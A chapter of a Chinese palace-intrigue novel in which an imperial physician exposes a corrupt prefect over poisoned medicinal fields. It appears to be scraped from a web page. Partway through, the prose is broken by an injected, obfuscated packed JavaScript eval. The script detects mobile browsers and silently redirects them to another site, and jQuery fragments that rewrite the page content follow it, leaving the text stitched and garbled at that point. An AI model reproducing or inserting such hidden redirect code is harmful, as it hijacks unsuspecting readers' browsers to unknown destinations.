老管事连连磕头，“大人明鉴！那牢大卖了十年河泥，从未出过事！且草民购泥时，还派人验看过，并无异样啊！”


    洪懿闻言，袖中的手一紧，冷笑道:“事到如今还要狡辩！”他侧身看向姜蘅，“姜太医，本官看来这案情已明，这阴棠管理不善，误用毒泥，致使药田含毒，药材染病。”


    他略作停顿，指尖在案上轻轻一点，“按大雍律法，应封田罚银，流放三千里。”


    姜蘅目光平静，向前半步，“洪大人，定罪之前，下官有三问。”


    洪懿一愣，眼底闪过一丝慌乱。


    姜蘅伸出一指，缓缓说道:“第一，那卖泥的牢大，现在何处？”


    洪懿立刻看向一旁的郡丞，用眼神示意。


    郡丞翻查卷宗，额角冒出细汗，“回大人，案发后，府衙曾去寻牢大，但其家中无人，邻舍说……已五六日不见踪影。”


    姜蘅微微颔首，伸出第二指，“好。第二，管事说验过河泥，那验泥的人何在?”


    老管事连忙答道:“是草民兄长，他可作证。”


    洪懿脸色微变，抬起袖子，干咳了几声，“此人……此人案发后突发急病，现在家中休养，无法到堂。”


    姜蘅抬眼，“这么巧？”


    她又伸出第三指:“第三，也是最重要一问。”


    她转向洪懿，“洪大人，此案发于十二月初六，阴家十二月初七便已报官，而大人十二月初八就下令查封药田，扣押阴棠。”


    “如此雷厉风行，那为何至今……”她缓缓说道，“不传牢大、不讯管事兄长、不验那剩余河泥?”


    洪懿不觉地后靠了几分，声音有些发紧，“这……本官已派人去寻牢大，只是尚未找到，至于河泥，早已用尽，无处可验。”


    闻言，姜蘅上前几步，“用尽了？”


    她走向老管事，“管事，二十车河泥，撒百亩药田，能用尽？”


    管事恍然大悟，急声道:“回大人，用不完，草民记得当时只用了十二三车，剩下的都堆在田头草棚里，打算留着补肥。”


    姜蘅转身盯着洪懿，“洪大人，那草棚……可派人查过？”


    洪懿脸色发白，“这……自然是查过，并无剩余河泥。”


    姜蘅并未回他，而是忽然提高声音:“来人！”


    一衙役应声上前来，“大人。”


    姜蘅说道:“你带两人，即刻前去药田草棚，给本官挖地三尺。若真有河泥残留，取回查验。


    “若没有……”，她稍作停顿，盯着洪懿，“那便是有人，提前清理了现场。”


    洪懿猛地从座上站起，案几被带着一晃，“姜蘅，您这是怀疑本官办事不力？”


    “怎会，”姜蘅语气平稳，“下官只依证据说话。”


    她撩袍坐下，目光扫过堂下，“在河泥检验结果出来前，阴棠和管事暂押府衙，但不得用刑，不得逼供。”她抬眼看向洪懿，“洪大人，这要求……不过分吧？”


    半晌，他回道:“不过分……”


    姜蘅点头，随即又道:“另外，本官要见一见管事那位突发急病的兄长。”她侧身对一旁的随从吩咐道:“持太医监令牌，去那人家中请人，倘若真病重，本官亲自诊治。”


    那洪懿连忙说道:“姜太医，这……怕是不合规矩，那人是本案相关人证，该由府衙传唤。”


    姜蘅缓缓起身，“下官奉太后娘娘旨意巡查此事，凡涉此案，有权调阅所有人证、物证。”她直视洪懿，“洪大人这是要抗旨吗？”


    洪懿面色铁青，唇角微动，终是不敢发出一言。


    姜蘅拂袖起身，“今日便到此。”她走到阴棠面前，低声说道:“阴家主，清者自清。你若真无罪，本官定还你清白。”


    阴棠叩首，哽咽道:“谢……谢大人！”


    姜蘅走出两步，忽又停住，侧过脸，“对了洪大人，那位告假的医工长，若是回来了，请他明日辰时来驿馆见下官。”


    “若回不来……，”她顿了顿，“那下官只好亲自去查一查医工长的考勤了。”


    说完，她便转身离去。


    洪懿立在原地，看着姜蘅背影消失在门口，猛然一拳捶在桌案上。


    郡丞慌忙上前，“大人……”


    洪懿一把攥住他衣袖，压低声音，“快!去禀报窦大人。姜蘅盯上河泥了，还有……”


    “管事那个兄长，要让他永远开不了口。”


    郡丞说:“您的意思是……”


    “让他病重不治，就在今晚，”他松开手，指尖因用力而微微发白，“记得做得干净些。”


    雪是戌时开始下的。


    细盐似的敲打着窗棂，簌簌地响。


    烛火在案头跳动着，姜蘅端坐书案前，随从垂手立于身侧。


    随从低声道:“大人，草棚那边……果然挖到了河泥残余，现已秘密取回。”他从怀中取出油纸包，双手呈上，“这是样本。”


    姜蘅接过，凑近烛火细看，“颜色暗红，有腥气。”随即用手捻开少许，“里头掺了东西。”


    随从道:“初步验过，里面混有鱼虾残骸，还有……”他压低声音，“腐根草。”


    姜蘅眼神一冷，“腐根草……岭南特有之物，若是掺入泥肥中，药材根部会尽数腐烂。”


    “这寻常泥肥怎会掺有此物?”随从问道，“而且分量不轻，若是二十车的泥都掺了这些……”他顿了顿，“那便是故意投毒。”


    她放下样本，“窦昌这一招，可真狠。”


    沉默片刻，她又问道:“牢大找到了吗？”


    随从低声答道:“找到了，不过……死了。”


    姜蘅指尖一紧，“何时？何处？”


    “半个时辰前，尸体在洛河下游发现，泡了两三日，面目难辨。但腰间别着泥贩的号牌，体型也对得上。”他顿了顿，“府衙现下已定案，失足落水。”


    姜蘅冷笑道:“好一个失足。”她抬眼看向随从，“那管事兄长那边如何?”


    随从答道:“那人家宅周围前后，有三拨人监视着，有府衙的、不明身份的，还有……”他抬眼，“像是南阳来的。”


    姜蘅眼神一凝，“南阳……”她手指轻叩桌案，“常山王的人？”


    “不像。那批人手脚更干净，更像是……”他压低声音，“宫里出来的。”


    “看来，不止窦昌和常山王。”她起身，缓缓走至窗前，“药田的事，比我想的更深。”


    随从问道:“大人，若涉及宫里……咱们还查吗？”


    姜蘅望着窗外夜色，雪越发大了，纷乱地扑向窗棂。她静立片刻，然后转身道:“查，不仅要查，还要查个水落石出。”她目光锐利，“安排人手，暗中保护那管事的兄长，他怕是……活不过今晚。”


    “属下明白。”随从躬身，快步离去。


    起风了。窗外的梅树摇晃着，不少花瓣被风卷落，洒在雪地上，红白相间，好似雪上溅了血。


    这时，门外传来叩门声。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887721|192083||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “阿蘅，是我。”沈含章的声音响起。


    姜蘅连忙开门。


    “兄长，”见他脸色苍白，连忙扶着他的胳膊，引他在一旁坐下，又转身倒上一杯热茶。


    沈含章抬手，缓缓揭下人皮面具，露出原本清峻的面容，“我刚出南阳不久，便遭遇截杀。”


    “云栖已扮作兄长被劫走，按理来说，应不会有人察觉你的行踪。”姜蘅蹙眉道。


    沈含章接过杯盏，饮了一口，“看那些人的招式……应是宫里的人。”


    “宫中?”姜蘅说，“宫里那位，终于出手了。”


    “太后?”沈含章摇头道，“太后若是知晓我的行踪，怎会不告知窦昌?”


    “是南宫里那位。”姜蘅轻声道。


    “陛下?”沈含章一愣，“他不是一向不理朝政的吗？”


    “这朝政皆在窦氏和几位权臣的把控下，我们这位陛下就算想管，也管不了。”姜蘅走回案边，指尖拂过案沿。


    “可陛下怎会知晓这些，消息竟比窦家和常山王还灵通。”沈含章说，“这背后必有人相助，只是这人是谁?既知晓窦家、常山王和我们这边的动向，又能及时做出对策。”


    “兴许这人很快便会找上门，”姜蘅沉吟道，“陛下此时派人来洛城……绝非巧合。”她抬眼沈含章，“药田案，恐怕不只是商战，也不只是窦昌报复阴家，它可能是另一局棋的开端。”


    她又问道:“马刺史何时能至洛城?”


    “大雪封路，本会再耽搁些时日，可不知怎的，昨日来消息说后日便可到洛城。”沈含章答道。


    “看来，有人想助我们一臂之力”姜蘅若有所思。


    沈含章从怀中拿出一封密信，“南阳来信了，凤鸢已按计划服下假死药，假尸体也已放入别院。”


    “尸体处理过了，用的是窦家惯用的手法，又浇了腐水，应辨不出面容。”沈含章说，“如此一来，那窦昌必定认为是常山王拿到了证据，故而杀杀人灭口，而常山王则会认定是窦昌狗急跳墙。”


    姜蘅接过信，就着烛火细细查看，“如此便好，那就让刘晟和窦昌在南阳……狗咬狗吧。”


    她将密信移至烛焰上，烛火瞬间点燃纸角，迅速蔓延，化为灰烬飘落。随后，她再次转向窗户。


    窗外夜色如墨，一瓣梅花被风卷入，不偏不倚，刚好落在棋盘上。


    沈含章看着她的背影，轻声说道:“阿蘅……”


    姜蘅起身，缓步走向棋盘，看着那瓣梅花，“含章兄，你说若一个人埋了十年的仇恨，终于等到仇人一个个浮出水面……”她抬眸，烛火映在眼中，“她是该继续隐忍，还是……该收网了？”


    沈含章看着姜蘅眼中跳动的火光，忽然觉得脊背漫上一股寒意。


    离去后，沈含章坐在马车内，他从怀中掏出半块玉珏，握着掌心。


    “阿蘅，你布的局越来越险了。但你说得对，十年了，该有个了断。”


    指尖拂过那玉珏，他想起来父亲临终前的嘱咐。


    “含章，张家那孩子……将来若要复仇，你帮她，但也要看着她，别让她……变成像他们那样的人。”


    沈含章苦笑，“父亲，她已经……”他摇了摇头，“不，她心底尚有一丝暖。至少对阴家，对百姓，对我这个兄长……还是真的。”


    他握紧玉珏。


    “这就够了。”


    车外，雪细簌簌地落下，覆盖了车辙。


    这洛城的天，要变了。